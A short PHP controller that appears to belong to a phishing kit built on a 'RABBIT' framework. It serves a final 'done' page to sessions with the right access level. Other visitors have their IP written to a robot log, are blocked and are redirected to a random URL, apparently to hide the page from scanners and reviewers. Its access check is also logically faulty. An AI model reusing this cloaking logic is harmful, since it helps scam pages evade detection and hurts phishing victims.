<?php
defined("ALLOW") or exit('No direct script access allowed');

class Finished
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 8)) {

			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		if ($this->goRABBIT->is_mobile) {
			echo view('mobile/done');
		} else {
			echo view('pc/done');
		}
	}

	public function logout()
	{
		session_destroy();
		_blocks();
		redirect(uriRand());
	}
}